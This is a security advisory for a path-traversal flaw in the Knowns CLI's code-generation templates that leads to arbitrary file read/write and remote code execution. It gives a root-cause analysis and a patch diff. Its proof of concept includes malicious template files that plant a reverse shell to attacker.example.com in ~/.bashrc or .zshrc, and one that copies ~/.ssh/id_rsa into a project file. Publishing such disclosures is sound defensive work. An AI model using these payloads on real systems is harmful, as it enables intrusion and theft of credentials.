GHSA-68CQ-4RWM-F7JR
Arbitrary File Read/Write & Path Traversal to Remote Code Execution (RCE) via Malicious Codegen Templates
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-68CQ-4RWM-F7JR divulgada · CVSS 9.4 (GitHub) | |
| Divulgación | Modificada | Última actualización del registro | |
| Remediación | Parche 0.34.0 | knowns · 13 d desde divulgación | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Overview
Verified. A path traversal and arbitrary file read/write chain exists in Knowns' code generation subsystem (`internal/codegen/template_engine.go` https://github.com/knowns-dev/knowns/tree/main/internal/codegen/template_engine.go) affecting all four action types (`add`, `addMany`, `modify`, `append`). When an operator imports a third-party repository containing a crafted template definition and executes `knowns template run <name>`, the template engine fails to constrain destination paths and template source files to the project root.
Because `resolveDest()` https://github.com/knowns-dev/knowns/tree/main/internal/codegen/template_engine.go#L627-L636 at `internal/codegen/template_engine.go:627-636` https://github.com/knowns-dev/knowns/tree/main/internal/codegen/template_engine.go#L627-L636 explicitly passes absolute paths through unmodified and resolves relative traversal segments without boundary containment, an attacker who publishes a malicious repository can overwrite arbitrary files on the victim's host filesystem - including shell profiles (`~/.bashrc`, `~/.zshrc`), cron jobs, or SSH `authorized_keys`. When the victim subsequently opens a new terminal session or the cron daemon fires, the injected payload executes with the victim's full user privileges, yielding persistent arbitrary code execution. A second primitive (`loadAndRenderTemplate()` https://github.com/knowns-dev/knowns/tree/main/internal/codegen/template_engine.go#L318-L344 at `internal/codegen/template_engine.go:318-344` https://github.com/knowns-dev/knowns/tree/main/internal/codegen/template_engine.go#L318-L344) allows arbitrary file read and exfiltration of host secrets as a rendered output, requiring no additional privileges beyond the import step.
The attack is fully remote: the attacker publishes a repository to any public or private git host. The victim performs the triggering actions through ordinary developer workflow (`knowns import add <url>` → `knowns template run <name>`). No local foothold on the victim's machine is required.
Affected paths
| File Path | Role | Vulnerability & Execution Impact |
| :--- | :--- | :--- |
| `internal/codegen/template_engine.go:627-636` https://github.com/knowns-dev/knowns/tree/main/internal/codegen/template_engine.go#L627-L636 | Path Resolver | `resolveDest()` https://github.com/knowns-dev/knowns/tree/main/internal/codegen/template_engine.go#L627-L636 - Unchecked absolute and relative traversal (CWE-22): `filepath.IsAbs(dest)` returns the absolute path unconditionally. `filepath.Join(base, dest)` resolves relative traversal segments (`../`) without verifying the result is contained within `e.ProjectRoot`. All four action handlers (`add`, `addMany`, `modify`, `append`) call this function. |
| `internal/codegen/template_engine.go:93-132` https://github.com/knowns-dev/knowns/tree/main/internal/codegen/template_engine.go#L93-L132 | Write Sink - `add` | `runAdd()` https://github.com/knowns-dev/knowns/tree/main/internal/codegen/template_engine.go#L93-L132 - Arbitrary file overwrite: Calls `resolveDest()` https://github.com/knowns-dev/knowns/tree/main/internal/codegen/template_engine.go#L627-L636 at line 110, then passes the unconstrained `destPath` to `writeFile()` https://github.com/knowns-dev/knowns/tree/main/internal/codegen/template_engine.go#L642-L648 which invokes `os.MkdirAll` + `os.WriteFile` unconditionally. |
| `internal/codegen/template_engine.go:233-282` https://github.com/knowns-dev/knowns/tree/main/internal/codegen/template_engine.go#L233-L282 | Write Sink - `modify` | `runModify()` https://github.com/knowns-dev/knowns/tree/main/internal/codegen/template_engine.go#L233-L282 - Arbitrary file read then overwrite: Calls `resolveDest()` https://github.com/knowns-dev/knowns/tree/main/internal/codegen/template_engine.go#L627-L636, reads the target file, applies a regex replacement using attacker-controlled `action.Pattern`, then writes back. Attacker controls both the target path and the regex/replacement content. |
| `internal/codegen/template_engine.go:284-310` https://github.com/knowns-dev/knowns/tree/main/internal/codegen/template_engine.go#L284-L310 | Write Sink - `append` | `runAppend()` https://github.com/knowns-dev/knowns/tree/main/internal/codegen/template_engine.go#L284-L310 - Arbitrary file append: Calls `resolveDest()` https://github.com/knowns-dev/knowns/tree/main/internal/codegen/template_engine.go#L627-L636, reads existing content and appends attacker-controlled rendered content. Enables appending a payload to an existing shell profile without fully overwriting it. |
| `internal/codegen/template_engine.go:318-344` https://github.com/knowns-dev/knowns/tree/main/internal/codegen/template_engine.go#L318-L344 | Read Sink | `loadAndRenderTemplate()` https://github.com/knowns-dev/knowns/tree/main/internal/codegen/template_engine.go#L318-L344 - Arbitrary file read and exfiltration: `srcPath := src` / `srcPath = filepath.Join(tmpl.Path, src)` accepts an absolute path or traversal in `action.Template`. `os.ReadFile(srcPath)` reads any readable file on the host, and the contents are rendered into the attacker-controlled destination - enabling exfiltration of `~/.ssh/id_rsa`, `~/.aws/credentials`, or `.env` files into an attacker-readable location. |
| `internal/cli/template.go:216-221` https://github.com/knowns-dev/knowns/tree/main/internal/cli/template.go#L216-L221 | CLI Entry Point | `runTemplateRun()` https://github.com/knowns-dev/knowns/tree/main/internal/cli/template.go#L216-L221 - dispatches user-supplied template name to the engine with no pre-flight path validation. |
Root Cause
While other areas of Knowns enforce project containment via `safepath`, the code generation engine in `internal/codegen/template_engine.go` https://github.com/knowns-dev/knowns/tree/main/internal/codegen/template_engine.go relies on raw `filepath.Join` and `filepath.IsAbs` with no post-join boundary check.
Flaw A - Unchecked destination resolution (`resolveDest`)
https://github.com/knowns-dev/knowns/blob/c6ed4cb8548c266930910d3b24b7605fa2c21150/internal/codegen/template_engine.go#L627-L636
Two distinct escape vectors:
- Absolute path bypass: `if filepath.IsAbs(dest) { return dest }` returns `/home/victim/.bashrc`, `/etc/cron.d/job`, or `C:\Windows\System32\...` without any containment check. The name `resolveDest` implies a boundary is enforced; none is.
- Relative traversal: `filepath.Join(base, "../../../../.bashrc")` resolves to a path outside `e.ProjectRoot`. Go's `filepath.Join` cleans traversal segments (`..`) natively, producing a valid out-of-root path with no error.
All four action handlers call `resolveDest()` https://github.com/knowns-dev/knowns/tree/main/internal/codegen/template_engine.go#L627-L636 identically, making the escape surface four times wider.
Flaw B - Arbitrary file write via `runAdd` and `runAppend`
`internal/codegen/template_engine.go:110-129` https://github.com/knowns-dev/knowns/tree/main/internal/codegen/template_engine.go#L110-L129
https://github.com/knowns-dev/knowns/blob/c6ed4cb8548c266930910d3b24b7605fa2c21150/internal/codegen/template_engine.go#L110-L129
(`runAdd` https://github.com/knowns-dev/knowns/tree/main/internal/codegen/template_engine.go#L93-L132):
https://github.com/knowns-dev/knowns/blob/c6ed4cb8548c266930910d3b24b7605fa2c21150/internal/codegen/template_engine.go#L93-L132
`writeFile` https://github.com/knowns-dev/knowns/tree/main/internal/codegen/template_engine.go#L642-L648 calls `os.MkdirAll(filepath.Dir(destPath), 0755)` then `os.WriteFile(destPath, []byte(content), 0644)` - creating any missing parent directories and overwriting the target unconditionally.
`runAppend` https://github.com/knowns-dev/knowns/tree/main/internal/codegen/template_engine.go#L259-L310 (lines 284-310) does the same via `resolveDest` https://github.com/knowns-dev/knowns/tree/main/internal/codegen/template_engine.go#L627-L636, then appends to the resolved target. This allows a surgical attack: append a reverse shell line to `~/.bashrc` rather than replacing the entire file, reducing the chance of the victim noticing breakage.
Flaw C - Arbitrary file read and exfiltration via `loadAndRenderTemplate`
https://github.com/knowns-dev/knowns/blob/c6ed4cb8548c266930910d3b24b7605fa2c21150/internal/codegen/template_engine.go#L326-L337
Specifying an absolute path or traversal in `action.Template` (e.g. `"../../../../.ssh/id_rsa"`) causes `os.ReadFile` to read the target file. The contents are then rendered through the Handlebars engine into the write sink from Flaw B, allowing the attacker to pipe `~/.ssh/id_rsa`, `~/.aws/credentials`, or any `.env` file into an attacker-readable output path - combining both flaws into a read-then-exfiltrate chain.
Flaw D - `runModify` extends the write surface to existing files
`internal/codegen/template_engine.go:233-282` https://github.com/knowns-dev/knowns/tree/main/internal/codegen/template_engine.go#L233-L282 (`runModify` https://github.com/knowns-dev/knowns/tree/main/internal/codegen/template_engine.go#L233-L282) calls `resolveDest()` https://github.com/knowns-dev/knowns/tree/main/internal/codegen/template_engine.go#L627-L636, reads the resolved file, applies `action.Pattern` (an attacker-controlled regex) as the match pattern, and writes the attacker-controlled replacement back. This allows targeted injection into existing config files - appending a cron entry into an existing crontab or injecting a line into an existing `.bashrc` - rather than wholesale replacement.
Attack Vector
| Phase | Step | Effect |
| :--- | :--- | :--- |
| 1. Publish | Attacker publishes a git repository containing `.knowns/templates/backdoor/_template.yaml` with traversal paths and a malicious `.hbs` payload | Repository is publicly (or privately) accessible at attacker-controlled URL |
| 2. Import | Victim runs `knowns import add <attacker-git-url>` | Repository is cloned into `.knowns/imports/backdoor/templates/backdoor/` on the victim's machine |
| 3. Run | Victim runs `knowns template run backdoor/backdoor` | `runTemplateRun()` https://github.com/knowns-dev/knowns/tree/main/internal/cli/template.go#L216-L221 → `engine.Run()` → `runAdd()` https://github.com/knowns-dev/knowns/tree/main/internal/codegen/template_engine.go#L93-L132 → `resolveDest()` https://github.com/knowns-dev/knowns/tree/main/internal/codegen/template_engine.go#L627-L636 resolves `~/.bashrc` or `/etc/cron.d/pwn` outside `ProjectRoot` |
| 4. Write | `writeFile(destPath, content)` https://github.com/knowns-dev/knowns/tree/main/internal/codegen/template_engine.go#L642-L648 | `os.WriteFile` overwrites target file with rendered payload |
| 5. Execute | Victim opens a new terminal session or cron daemon fires | Injected payload executes with victim's full user privileges - persistent RCE |
Alternate chain (read + exfiltrate): Replace step 3's `action.Template` with `"../../../../.ssh/id_rsa"` and `action.Path` with a path inside the project root. On execution, `loadAndRenderTemplate` https://github.com/knowns-dev/knowns/tree/main/internal/codegen/template_engine.go#L318-L344 reads the SSH private key and `writeFile` https://github.com/knowns-dev/knowns/tree/main/internal/codegen/template_engine.go#L642-L648 writes it to an attacker-readable project file, which the attacker retrieves via the cloned repository's working directory or a secondary channel.
Preconditions:
- Victim has `knowns` CLI installed.
- Victim runs `knowns import add <attacker-url>` followed by `knowns template run <name>`. Both are ordinary developer workflow steps.
- No local access, no privileged account, no additional configuration required.
Proof of Concept
Payload: Arbitrary File Write → RCE via shell profile hijack
`.knowns/templates/rce-demo/_template.yaml`:
name: rce-demo
description: Standard boilerplate scaffolding
actions:
- type: add
path: "../../../../../../../../../../../../home/victim/.bashrc"
template: "payload.hbs"`.knowns/templates/rce-demo/payload.hbs`:
# Knowns codegen scaffold
bash -i >& /dev/tcp/attacker.example.com/4444 0>&1Trigger:
knowns import add https://github.com/attacker/malicious-knowns-templates
knowns template run rce-demo
# ~/.bashrc is now overwritten - next shell session initiates reverse shellPayload: Arbitrary File Read → SSH key exfiltration
`.knowns/templates/exfil/_template.yaml`:
name: exfil
description: Project setup
actions:
- type: add
path: "README_setup.md"
template: "../../../../../../../../home/victim/.ssh/id_rsa"Trigger:
knowns template run exfil
cat README_setup.md # contains victim's SSH private key - attacker retrieves via repoPayload: `append` action - surgical shell profile injection
actions:
- type: append
path: "../../../../../../../../home/victim/.zshrc"
template: "payload.hbs"Appends the reverse shell line to `.zshrc` without replacing existing content - lower detection risk than full overwrite.
Impact & Blast Radius
- Confidentiality: CRITICAL - Arbitrary host file read allows exfiltration of SSH private keys, cloud credentials (`~/.aws/credentials`, `~/.config/gcloud/`), application secrets, `.env` files, and browser session stores.
- Integrity: CRITICAL - Arbitrary host file write permits overwriting shell profiles, cron jobs, SSH `authorized_keys`, git hooks, and application configuration, yielding persistent arbitrary code execution.
- Availability: HIGH - Critical system configuration files can be corrupted or truncated.
- Subsequent System Impact: HIGH - The attacker escapes the application workspace and operates on the host operating system user context.
- Persistence - Shell profile and cron-based payloads survive process termination and machine reboots.
- Supply chain amplification - A single malicious template repository can target every developer who imports it.
CVSS v4.0
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Score: 9.4 Critical*(Note: In automated CI/CD environments or scripted template setups where user interaction is non-interactive/passive, UI becomes `P`, elevating the CVSS v4.0 score still be a 9.4 Critical).*
Rationale for each metric:
| Metric Group | Metric | Value | Justification |
| :--- | :--- | :--- | :--- |
| Exploitability | Attack Vector (AV) | Network (N) | Attacker publishes a repository to any public/private git host. No local machine access required. |
| | Attack Complexity (AC) | Low (L) | No specialized evasion, memory layout bypass, or timing constraints required. Craft a YAML manifest and publish. |
| | Attack Requirements (AT) | None (N) | No non-default server configurations or deployment-specific preconditions required. |
| | Privileges Required (PR) | None (N) | Attacker requires no credentials on the victim system or Knowns workspace. |
| | User Interaction (UI) | Active (A) | Victim must run `knowns import add <url>` followed by `knowns template run <name>`. |
| Vulnerable System | VC (Confidentiality) | High (H) | Arbitrary read of project files and local secrets. |
| | VI (Integrity) | High (H) | Arbitrary write/modify/overwrite of application and template files. |
| | VA (Availability) | High (H) | Core application state and project files can be destroyed or truncated. |
| Subsequent System | SC (Confidentiality) | High (H) | Read access to host system credentials (`~/.ssh/id_rsa`, `~/.aws/credentials`). |
| | SI (Integrity) | High (H) | Persistent arbitrary code execution on host OS via shell profiles or cron jobs. |
| | SA (Availability) | High (H) | Critical operating system user files can be corrupted or deleted. |
Remediation
Enforce project root containment in `resolveDest()` https://github.com/knowns-dev/knowns/tree/main/internal/codegen/template_engine.go#L627-L636 and add an equivalent boundary check in `loadAndRenderTemplate()` https://github.com/knowns-dev/knowns/tree/main/internal/codegen/template_engine.go#L318-L344. The existing `safepath` package already provides this primitive.
--- a/internal/codegen/template_engine.go
+++ b/internal/codegen/template_engine.go
@@ -10,6 +10,7 @@ import (
"strings"
"text/template"
+ "github.com/howznguyen/knowns/internal/safepath"
"github.com/howznguyen/knowns/internal/models"
)
@@ -108,3 +109,8 @@ func (e *Engine) runAdd(
- destPath = e.resolveDest(tmpl, destPath)
+ destPath, err = e.resolveDest(tmpl, destPath)
+ if err != nil {
+ return fmt.Errorf("resolve destination %q: %w", action.Path, err)
+ }
@@ -238,3 +242,8 @@ func (e *Engine) runModify(
- destPath = e.resolveDest(tmpl, destPath)
+ destPath, err = e.resolveDest(tmpl, destPath)
+ if err != nil {
+ return fmt.Errorf("resolve destination %q: %w", action.Path, err)
+ }
@@ -290,3 +294,8 @@ func (e *Engine) runAppend(
- destPath = e.resolveDest(tmpl, destPath)
+ destPath, err = e.resolveDest(tmpl, destPath)
+ if err != nil {
+ return fmt.Errorf("resolve destination %q: %w", action.Path, err)
+ }
@@ -328,5 +332,6 @@ func (e *Engine) loadAndRenderTemplate(
- srcPath := src
- if !filepath.IsAbs(src) {
- srcPath = filepath.Join(tmpl.Path, src)
- }
+ srcPath, err := safepath.Resolve(tmpl.Path, src)
+ if err != nil {
+ return "", fmt.Errorf("template source escapes template directory: %w", err)
+ }
@@ -627,11 +632,15 @@ func (e *Engine) resolveDest(
-func (e *Engine) resolveDest(tmpl *models.Template, dest string) string {
- if filepath.IsAbs(dest) {
- return dest
- }
- base := e.ProjectRoot
- if tmpl.Destination != "" {
- base = filepath.Join(e.ProjectRoot, tmpl.Destination)
- }
- return filepath.Join(base, dest)
+func (e *Engine) resolveDest(tmpl *models.Template, dest string) (string, error) {
+ target := dest
+ if tmpl.Destination != "" && !filepath.IsAbs(dest) {
+ target = filepath.Join(tmpl.Destination, dest)
+ }
+ return safepath.ResolveProject(e.ProjectRoot, target)
}Defense-in-depth (independent of `safepath`): The CLI layer in `runTemplateRun()` https://github.com/knowns-dev/knowns/tree/main/internal/cli/template.go#L216-L221 should validate that every resolved path in a template's action list falls within `ProjectRoot` before invoking `engine.Run()`, rejecting the template at import time rather than at execution time.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
npmknowns |
Corregida | 0.34.0 | 13 d | 0.35.0 no afectada |
0.34.0Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/knowns-dev/knowns/security/advisories/GHSA-68cq-4rwm-f7jrLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
